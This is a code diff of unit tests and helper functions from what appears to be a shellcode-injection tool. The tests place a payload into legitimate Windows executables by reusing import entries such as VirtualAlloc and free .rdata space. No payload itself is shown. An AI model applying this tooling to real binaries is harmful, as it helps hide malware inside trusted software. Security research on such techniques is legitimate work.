req1 = carrier.iat_requests[0]
req1 = injectable.iat_requests[0]
self.assertEqual(req1.name, "GetEnvironmentVariableW")
self.assertTrue(len(req1.placeholder), 6) # 6 random bytes
self.assertTrue(len(req1.references[0]), 6) # 6 random bytes
req2 = carrier.iat_requests[1]
req2 = injectable.iat_requests[1]
self.assertEqual(req2.name, "VirtualAlloc")
self.assertTrue(len(req2.placeholder), 6) # 6 random bytes
self.assertTrue(len(req2.references[0]), 6) # 6 random bytes
# added ; at the beginning
#self.assertTrue(lines[13-1].startswith("; EXTRN __imp_GetEnvironmentVariableW:PROC"))
@@ -83,22 +79,22 @@ class AsmTest(unittest.TestCase):
def test_data_reuse_entries(self):
asm_in = "tests/data/data_reuse_pre_fixup.asm"
asm_text = file_readall_text(asm_in)
carrier = Carrier("fake.exe")
carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
injectable = Injectable("fake.exe")
injectable.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
settings: Settings = Settings()
settings.payload_location = PayloadLocation.DATA
asm_text_lines = parse_asm_text_file(carrier, asm_text, settings)
asm_text_lines = parse_asm_text_file(injectable, asm_text, settings)
asm_text = masm_shc(asm_text_lines) # optional here
data_reuse_entries = carrier.get_all_reusedata_fixups()
data_reuse_entries = injectable.get_all_reusedata_fixups()
self.assertEqual(2+1, len(data_reuse_entries))
entry = data_reuse_entries[0+1]
self.assertTrue('$SG72513' in entry.string_ref)
self.assertTrue('rcx' in entry.register)
self.assertTrue('rcx' in entry.references[0].register)
self.assertEqual(entry.data, b"U\x00S\x00E\x00R\x00P\x00R\x00O\x00F\x00I\x00L\x00E\x00\x00\x00")
self.assertEqual(entry.addr, 0)
self.assertEqual(7, len(entry.randbytes)) # needs to be 7!
self.assertEqual(7, len(entry.references[0].placeholder)) # needs to be 7!
entry = data_reuse_entries[1+1]
self.assertTrue('$SG72514' in entry.string_ref)
@@ -108,11 +104,11 @@ class AsmTest(unittest.TestCase):
asm_in = "tests/data/data_reuse_pre_fixup.asm"
asm_text = file_readall_text(asm_in)
carrier = Carrier("fake.exe")
carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
injectable = Injectable("fake.exe")
injectable.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
settings: Settings = Settings()
settings.payload_location = PayloadLocation.DATA
asm_text_lines = parse_asm_text_file(carrier, asm_text, settings)
asm_text_lines = parse_asm_text_file(injectable, asm_text, settings)
# why -1 -1??
self.assertTrue("\tDB " in asm_text_lines[108-1-1])
+7 -7
View File
@@ -38,7 +38,7 @@ class DataReuseTest(unittest.TestCase):
def test_relocation_list(self):
superpe = SuperPe(PATH_EXES + "7z.exe")
relocs = superpe.get_relocations_for_section(".rdata")
self.assertEqual(842, len(relocs))
self.assertEqual(836, len(relocs))
reloc = relocs[0]
self.assertEqual(393216, reloc.base_rva)
self.assertEqual(394296, reloc.rva)
@@ -49,19 +49,19 @@ class DataReuseTest(unittest.TestCase):
def test_relocmanager(self):
"""Test reference EXE reloc manager information"""
superpe = SuperPe(PATH_EXES + "procexp64.exe")
rm = superpe.get_rdata_relocmanager()
self.assertEqual(69, len(rm.intervals))
rm = superpe.get_rdata_rangemanager()
self.assertEqual(61, len(rm.intervals))
# 0x1ab0 is magic currently (should use find_first_utf16_string_offset()
hole = rm.find_hole(20)
self.assertEqual(hole, (1167361, 1173015))
self.assertEqual(hole, (1174185, 1174591))
def test_largestgap(self):
superpe = SuperPe(PATH_EXES + "7z.exe")
rm = superpe.get_rdata_relocmanager()
rm = superpe.get_rdata_rangemanager()
start, stop = rm.find_hole(100)
self.assertEqual(393233, start)
self.assertEqual(394295, stop)
self.assertEqual(394513, start)
self.assertEqual(396511, stop)
def test_rdata_overwrite(self):
+1 -1
View File
@@ -36,7 +36,7 @@ class SuperPeTest(unittest.TestCase):
# Relocations
base_relocs: List[PeRelocEntry] = superpe.get_base_relocs()
self.assertEqual(len(base_relocs), 2888)
self.assertEqual(len(base_relocs), 2864)
base_reloc = base_relocs[0]
self.assertEqual(base_reloc.rva, 0x11E618)
self.assertEqual(base_reloc.base_rva, 0x11E000)
+15
View File
@@ -3,6 +3,7 @@ import os
import pathlib
import glob
import logging
import shutil
from config import config
from model.defs import *
@@ -10,6 +11,20 @@ from model.defs import *
logger = logging.getLogger("Utils")
def check_deps():
cl = config.get("path_cl")
if shutil.which(cl) == None:
logger.error("Missing dependency: " + cl)
logger.error("Start in x64 Native Tools Command Prompt for VS 2022")
exit(1)
ml = config.get("path_ml64")
if shutil.which(ml) == None:
logger.error("Missing dependency: " + ml)
logger.error("Start in x64 Native Tools Command Prompt for VS 2022")
exit(1)
def delete_all_files_in_directory(directory_path):
files = glob.glob(os.path.join(directory_path, '*'))
for file_path in files:
+4
View File
@@ -9,10 +9,14 @@ from app.views import views
from app.views_project import views_project
from app.views_shcdev import views_shcdev
from log import setup_logging
from utils import check_deps
if __name__ == "__main__":
logging.getLogger('werkzeug').setLevel(logging.ERROR)
setup_logging()
check_deps()
parser = argparse.ArgumentParser()
parser.add_argument('--listenip', type=str, help='IP to listen on', default="0.0.0.0")
parser.add_argument('--listenport', type=int, help='Port to listen on', default=5001)